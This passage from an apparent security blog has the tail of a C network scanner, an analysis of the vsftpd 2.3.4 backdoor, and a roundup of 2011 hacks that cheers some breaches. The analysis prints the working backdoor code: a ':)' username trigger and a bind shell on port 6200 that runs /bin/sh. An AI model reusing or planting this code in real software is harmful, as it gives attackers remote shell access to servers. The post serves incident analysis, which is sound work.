			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      case 'n':
		if (argv[i][2])
		    arg = argv[i]+2;
		else
		    arg = argv[++i];
		
		if (!arg || sscanf(arg, "%u", &nworkers) != 1)
		{
		    fprintf(stderr,
			    "%s: Invalid workers specification: %s\n",
			    argv[0], arg ? arg : "<null>");
		    exit(1);
		}
		j = -2;
		break;
		
	      default:
		fprintf(stderr, "%s: unknown command line switch: -%c\n",
			argv[0], argv[i][j]);
		exit(1);
	    }

  EndOptions:

    if (rstr)
    {
	if (bm_init(&bmb, rstr, rlen, ignore_case) < 0)
	{
	    fprintf(stderr, "%s: Failed search string setup: %s\n",
		    argv[0], rstr);
	    exit(1);
	}
    }

    if (debug)
	atexit(e_fun);
	
    if (i == argc || i+1 == argc)
    {
	if (i + 1 == argc)
	    get_service(argv[i], &first_port);
			  
	f_worker(NULL);
	pthread_exit(NULL);
	
	return 1; /* Not reached */
    }

    if (i + 2 != argc)
    {
	fprintf(stderr,
		"%s: Missing or extra argument(s). Use '-h' for help.\n",
		argv[0]);
	exit(1);
    }
    
    if (get_ip_range(argv[i], &first_ip, &last_ip) < 1)
    {
	fprintf(stderr, "%s: Invalid IP address range: %s\n",
		argv[0], argv[i]);
	exit(1);
    }
    
    if (get_port_range(argv[i+1], &first_port, &last_port) < 1)
    {
	fprintf(stderr, "%s: Invalid Port range: %s\n",
		argv[0], argv[i+1]);
	exit(1);
    }
    
    cur_ip = first_ip;
    cur_port = first_port;

    r_worker(NULL);
    pthread_exit(NULL);
    
    return 1; /* Not reached */
}

At last, the version file is this:

char version[] = "1.11";

Written by xorl

February 14, 2012 at 22:32

Posted in hax, linux

vsftpd 2.3.4 Backdoor

with 4 comments

This was a recent discovery by Chris Evans and you can read more details in his blog post available here. Furthermore, you can find information about this incident at The H Open as well as LWN.net websites.

So, the backdoor affects specifically 2.3.4 version of the popular FTP daemon and can be found in str.c file which contains code for handling the string manipulation routines.

int
str_contains_line(const struct mystr* p_str, const struct mystr* p_line_str)
{
  static struct mystr s_curr_line_str;
  unsigned int pos = 0;
  while (str_getline(p_str, &s_curr_line_str, &pos))
  {
    if (str_equal(&s_curr_line_str, p_line_str))
    {
      return 1;
    }
    else if((p_str->p_buf[i]==0x3a)
    && (p_str->p_buf[i+1]==0x29))
    {
       vsf_sysutil_extra();
    }
  }
  return 0;
}

Quite obvious. While parsing the received string values, if the string begins with “\x3A\x29” which in ASCII translates to ‘:)’ (a smiley face), it will invoke vsf_sysutil_extra().

This backdoor function was placed in sysdeputil.c file and looks like this:

int
vsf_sysutil_extra(void)
{
  int fd, rfd;
  struct sockaddr_in sa;
  if((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  exit(1); 
  memset(&sa, 0, sizeof(sa));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(6200);
  sa.sin_addr.s_addr = INADDR_ANY;
  if((bind(fd,(struct sockaddr *)&sa,
  sizeof(struct sockaddr))) < 0) exit(1);
  if((listen(fd, 100)) == -1) exit(1);
  for(;;)
  { 
    rfd = accept(fd, 0, 0);
    close(0); close(1); close(2);
    dup2(rfd, 0); dup2(rfd, 1); dup2(rfd, 2);
    execl("/bin/sh","sh",(char *)0); 
  } 
}

It simply opens a new TCP socket listening on port 6200 that will spawn a shell when connected to this port.

So, by using the ‘:)’ as username the attackers were able to trigger this backdoor in vsftpd 2.3.4.

Written by xorl

July 5, 2011 at 03:54

Posted in hax, security

News: Recent Hacks

leave a comment »

Another quick update on the recent hacks and similar news that made it to the public.

vendor-sec Mailing List
Hehe… This is a cute little story that you can read on various sites. For example, check out this CNET article. According to Marcus Meissner (moderator of the list), their private mailing list was being sniffed at least since January 20. Of course, Mr. M. Meissner though it would be polite to let the mailing list members know about his discovery of the compromise by emailing them and then living the backdoored system online. This resulted in getting ultra-pwned by seeing the mailing list getting rm’d (quite expected after his disclosure of the hack). Happily for some people… Tango down! ;P

EMC RSA Hack
Another high profile hack in the security industry. Check out this post of ComputerWorld to get an idea. Unfortunately, the information regarding this issue are limited to the official company’s statements and this makes it quite difficult knowing what really happened/is happening.

Anonymous vs Bank of America
Basically, you can get an overview of this operation either from the countless news websites such as this one or using Bank of America Suck. I can still recall many so-called “security experts” making fun of Anonymous a couple of years ago. Where are they now?

Anonymous on Bradley Manning’s Side
From the Forbes blog we can read this post about Anonymous’ actions regarding the absolutely unfair and inhuman treatment of Bradley Manning.

French Ministry of Finance Ownage
Another recent and very interesting attack. Here are some information from the Sophos NakedSecurity blog.

PHP.NET Compromise
From Full-Disclosure mailing list we have seen this email today. However, there is still no official report from PHP project and the given website states that the codebase was not backdoored, just altered for demonstration purposes. Currently, the project’s official wiki is offline.

I might have missed some public high profile hack(s) but I think I have included the most important. If you think there should be something more here, leave a comment to let me know. :)

Written by xorl

March 19, 2011 at 00:26

Posted in hax, news